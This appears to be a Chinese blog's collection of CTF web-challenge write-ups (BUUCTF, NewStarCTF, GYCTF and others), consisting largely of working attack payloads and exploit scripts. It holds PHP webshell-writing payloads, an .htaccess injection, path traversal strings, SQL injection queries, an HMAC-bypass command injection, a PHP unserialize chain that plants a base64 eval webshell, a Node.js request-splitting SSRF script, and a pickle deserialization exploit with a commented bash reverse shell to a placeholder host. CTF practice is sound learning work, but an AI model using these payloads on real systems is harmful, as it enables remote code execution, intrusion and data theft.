'&echo+"<?=@eval(\$_POST[1])?>">1.php&'

'%26echo+"<?=@eval(\$_POST[1])?>">1.php%26'

然后蚁剑连接

这里有个flag.txt,但是读不了

[XNUCA2019Qualifier]EasyPHP

.hatccess脏字符

其他解法

复制代码
<?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    include_once("fl3g.php");
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nJust one chance");
?>

这题用.htaccess

?content=php_value auto_prepend_fi\

le .htaccess

#<?php system('cat /fl*');?>\&filename=.htaccess

[NewStarCTF 2023 公开赛道]Begin of HTTP

比较简单:

virink_2019_files_share

....//绕过

抓包:

这里有个/uploads/favicon.ico

然后点击priview发现有个f参数:

这里发现其实有过滤,etc/只剩下e了,用....//绕过和etctc

?f=//....//....//....//....//....//....//etctc//passwd

然后去读flag

?f=//....//....//....//....//....//....//f1ag_Is_h3re的时候一直没有用,后面发现其实这是个文件夹:

payload:

?f=//....//....//....//....//....//....//f1ag_Is_h3rere//flag

这里是去了re,当然也可以用下面这个

?f=//....//....//....//....//....//....//f1ag_Is_h3re..//flag

[NESTCTF 2019]Love Math 2

源码:

复制代码
<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这题和前面有一题一样,但是这题限制了60的长度:

payload:

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

(is_nan^(6).(4)).(tan^(1).(5))结果是_GET
$pi=_GET,$$pi=$_GET

php中,get方法的[]可以用{}替代,$pi{0}($pi{1})$_GET{0}($_GET{1})总的来看就是system(cat /flag)

[NewStarCTF 2023 公开赛道]ez_sql

这里有个id参数,感觉是可以拿来注入

这里字段数为5,

库:

?id=1'Union Select 1,2,3,4,database()--+

表:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= database()--+

列:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'here_is_flag'--+

出:id=1' Union Select 1,2,3,4,GROUP_CONCAT(flag)FROM here_is_flag--+

[DDCTF 2019]homebrew event loop

给了源码:

复制代码
from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5afe1f66147e857'


def FLAG():
    return '*********************'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5:
        session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix)+len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix+'/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()

# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace('\t', '&nbsp;'*4).replace(
                    ' ', '&nbsp;').replace('<', '&lt;').replace('>', '&gt;').replace('\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(['func:consume_point;{}'.format(
        num_items), 'action:view;index'])


def consume_point_function(args):
    point_to_consume = int(args[0])
    if session['points'] < point_to_consume:
        raise RollBackException()
    session['points'] -= point_to_consume


def show_flag_function(args):
    flag = args[0]
    # return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.
    return 'You naughty boy! ;) <br />'


def get_flag_handler(args):
    if session['num_items'] >= 5:
        # show_flag_function has been disabled, no worries
        trigger_event('func:show_flag;' + FLAG())
    trigger_event('action:view;index')


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0')
flask接受参数的方式

我们来看一下,这里出flag的因该是get_flag_handler,条件是if session['num_items'] >= 5:

然后我们看看这个num_items

获取:

这里就存在一个漏洞,这里是如果session的points小于point_to_consume,就减去

然后看看路由:

这里就是如果num_items没有,让points为3,num_items为0,然后调用了一个trigger_event,返回了一个 execute_event_loop()

复制代码
def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        event = request.event_queue[0]
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')):
            continue
        for c in event:
            if c not in valid_event_chars:
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action+';').split('#')
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None:
                    resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None:
                    resp = ''
                # resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None:
                    resp = ret_val
                else:
                    resp += ret_val
    if resp is None or resp == '':
        resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp

这里有个eval:

action的话会直接返回第一个;之后的内容

参数这里用#做了一下分割,并返回一个列表到args里 ,所以我们就是这样,

先执行buy_handle,然后紧接着get_flag, 把consume_point_function放到最后

若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后

?action:trigger_event%23;action:buy;5%23action:get_flag;

session=.eJyNjk1rg0AYhP9K2XMO61dFwUsrCtIoSa27-5ZS1E393I2gJtbgf48UWijpobeBmXlmLqg9Fsh-vaC7DNmIkRCnxBojuf9MCZdAgw-g0GZyV0eqV3O_PWV1V3HamOFzWDJt32Wqfg9qgqkKPSO5iZbNDU4EyiHuldW6cXjLPUtkviejs-Og5e2nDTIZ2dzVmWrMnCgt1R5OKTFwNL84f5AkdEBzc000QIsv0m_QnPqW9v0SxFSC1uvgljUQZoQVnpgI2qd4N0VxPkQuL7ePWGcCqtAtMKub8zZOrP8NIzmK92o4iB7ZeIO6YyWHVWrLFYecdfA.aKPmOg.p8N3i0VjdyYhN0MEKeHlUPp1Mw0

[羊城杯 2020]Blackcat

打开之后有个音频,下载后用010打开,发现有源码:

复制代码
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('x');
}
 
$clandestine = getenv("clandestine");
 
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
 
 
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
 
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('x');
}
 
echo exec("nc".$_POST['One-ear']);

这里直接echo exec了,所以One-ear在前面;就直接rce,然后看看前面怎么搞

我们直接让White-cat-monitor为数组,所以

就为空,

那么

这里的参数实际上就是 sha256 , One-ear的值 , null,直接求:

复制代码
<?php
$hh = hash_hmac('sha256',';ls /', null);
echo $hh;

然后尝试一下ls /

Black-Cat-Sheriff=34ba546aa2ba7adbb3a0c6f574d24f1dccd17d87b8d48f2b240df9e366f383c3&One-ear=;ls /&White-cat-monitor[]=1

就显示出来一个var

还是不行,啊?

然后看了其他师傅的博客,好像就是这样,但是buu提交错误,好吧

[NewStarCTF 2023 公开赛道]Unserialize?

复制代码
<?php

class evil {
    private $cmd='ls';

}

$a=new evil();

echo urlencode(serialize($a));

?>

欧克了

unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A9%3A%22sort%20%2Fth%2A%22%3B%7D

出flag

[GYCTF2020]Node Game

通过拆分攻击实现的SSRF攻击

先看看源码

复制代码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');    // morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))

app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){    // action中不能含有/或\\字符
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);    // 渲染pug模板引擎
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {    // remoteAddress必须是本地IP,所以需要进行ssrf
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));    // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";    
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name    // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越
            if(!fs.existsSync(__dirname + file_path)){    // 以同步的方法检测目录是否存在
                try {
                    fs.mkdirSync(__dirname + file_path)    // 如果目录不存在则创建目录
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)    // 将要上传的文件写入文件到指定的目录中(实现文件上传)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});

app.get('/core', function(req, res) {
    var q = req.query.q;
    var resp = "";    // 用来接收请求的数据
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {    // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

不会,看看大佬的博客:

/:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染

/source:回显源码

/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。

/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过

我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的

脚本:

复制代码
import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive 

{}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)


session = requests.Session()
session.trust_env = False
session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)

取自

[NewStarCTF 2023 公开赛道]泄漏的秘密

robots.txt

然后扫到www.zip

拼一下就好了

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

[HFCTF 2021 Final]easyflask

session伪造+pickle反序列化

有个这个

然后题目又是flask

访问:

看到源码,整理一下:

复制代码
#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):#如果u对应的值是字典,会读取  u.b
            u = b64decode(u.get('b'))
        u = pickle.loads(u)#pickle反序列化
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

要我们找一个secret_key,那就试试/proc/self/environ

找到了

secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh

复制代码
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requests
 
url = "http://5dce76ce-7856-4683-a41a-1500554f465f.node5.buuoj.cn:81"
 
#url = "http://127.0.0.1:80"
 
def get_secret_key():
    target = url + "/file?file=/proc/self/environ"
    r = requests.get(target)
    #print(r.text)
    key = re.findall('key=(.*?).OLDPWD',r.text)
    return str(key[0])
 
#secret_key = get_secret_key()
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"
 
print(secret_key)
 
 
class FakeApp:
    secret_key = secret_key
 
class User(object):
    def __reduce__(self):
        import os
        cmd = "cat /flag > /tmp/b"
        return (os.system,(cmd,))
 
exp = {
    "b":base64.b64encode(pickle.dumps(User()))
}
 
#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))
 
fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(
    #{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}
    #{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}
    #{'u':exp}
)
print(cookie)
 
headers = {
    "Accept":"*/*",
    "Cookie":"session={0}".format(cookie)
}
 
req = requests.get(url+"/admin",headers=headers)
 
print(req.text)
 
req = requests.get(url+"/file?file=/tmp/b",headers=headers)
 
print(req.text)

找到一个脚本,或者直接生成cookie访问/admin也行

复制代码
import os
import pickle
import base64
 
 
User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))
    #'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})
 
u = pickle.dumps(User())
print(base64.b64encode(u))

不过要在linux环境下运行,windows不行

[2020 新春红包题]1

看看源码:

复制代码
<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
          die('?');
        }
        return $cache_filename;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return $filename;
        }

        return null;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

有点眼熟

入点:

有个save方法,定位:

这里是最终调用了set,set在B中

可以看到参数对应:

$name->key

$value->contents

$expire->expire

然后这里content来自:

然后看看set

这题的逻辑和ezpop一样,但是文件有限制:

会将文件名随机,并且还过滤了.php后缀

我们可以用:

$this->key = /../1.php/.

因为在做路径处理的时候,会递归的删除掉路径中存在的 /.从而传入的东西是./1.php,而传入之前,是 /../1.php/.,通过目录穿越,让文件名固定,并且绕过.php后缀的检查

然后exit的话就和上面那题一样base64绕

这里就直接用脚本

复制代码
<?php
class A{
    protected $store;
    protected $key;
    protected $expire;
    
    public $cache =[];
    public $complete = true; 
    
    public function __construct () {
        $this->store = new B();
        $this->key = '/../penson.php/.';
        
        $this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];

    }
    
}
class B{
    public $options = [
        'serialize' => 'serialize',
        'prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',
    ];
}
$a = new A();
echo urlencode(serialize($a));

?>

然后访问/uploads/1.php

[watevrCTF-2019]Supercalc

ssti报错注入

抓包看看:

有个flask session

这里如果正常用{{}}不行,用ssti报错注入

复制代码
1/0#{{config}}

看看能不能找到key:

cded826a1e89925035cc05f0907855f7

payload:__import__("os").popen("cat flag.txt").read()

然后就是伪造session来ssti,但是很奇怪

我这里怎么搞都出不来,其他师傅这里就直接出了,不知道哪里出问题了shuati

相关推荐
YF云飞3 小时前
CVPR2019 Oral论文《Side Window Filtering》解读及算法 Python 实现
python·算法·计算机视觉
大翻哥哥3 小时前
Python轻量化革命:用MicroPython构建边缘智能设备
开发语言·python
ldj20203 小时前
下拉默认全选,选择展示对象的字段list
前端·javascript
Lsx_3 小时前
前端数据可视化:基于Vue3封装 ECharts 的最佳实践
前端·vue.js·echarts
brzhang4 小时前
技术榜单都快刷爆了,美团的“龙猫”大模型怎么就没声了?
前端·后端·架构
Ratten4 小时前
使用 OpenCV 实现图片的批量压缩
python
小猪猪屁4 小时前
前端实时通信怎么选?HTTP、WebSocket、SSE 一文看懂
前端·websocket·http
满圆圆4 小时前
前端eslint工程化配置
前端
掘金安东尼4 小时前
React 19 发布:useTransition 平滑异步过渡!
前端·javascript·github